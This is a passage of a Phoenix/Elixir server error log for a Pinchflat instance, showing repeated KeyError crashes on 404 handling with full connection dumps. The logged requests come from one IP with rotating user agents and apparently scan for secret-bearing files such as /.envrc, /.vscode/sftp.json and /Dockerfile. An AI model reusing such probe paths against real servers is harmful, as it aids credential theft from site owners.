(connection #PID<0.139001.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.envrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139026.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.envrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxRMygN3XIE0ADZvh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139026.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, (truncated) 04:52:50.620 [info] GET /.vscode/sftp.json 04:52:50.621 [info] GET /Dockerfile 04:52:50.622 [debug] QUERY OK source="settings" db=0.8ms idle=24.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.622 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=24.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.623 [debug] QUERY OK source="settings" db=0.8ms idle=24.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.624 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.624 [debug] QUERY OK source="settings" db=0.7ms idle=21.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.624 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.625 [error] #PID<0.139029.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /Dockerfile ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Dockerfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139029.0>, params: %{}, path_info: ["Dockerfile"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/Dockerfile", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxRUBWaBqm1sAACvE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Dockerfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch (truncated) 04:52:50.625 [error] #PID<0.139028.0> running PinchflatWeb.Endpoint (connection #PID<0.139001.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139028.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxRT9tE2o3kgAABZI"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 04:52:50.759 [info] GET /Procfile 04:52:50.760 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=138.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.762 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=138.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.762 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.763 [error] #PID<0.139030.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 7) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /Procfile ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Procfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Procfile", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139030.0>, params: %{}, path_info: ["Procfile"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/Procfile", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxR1DyYxHjaEADZwh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Procfile", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Procfile 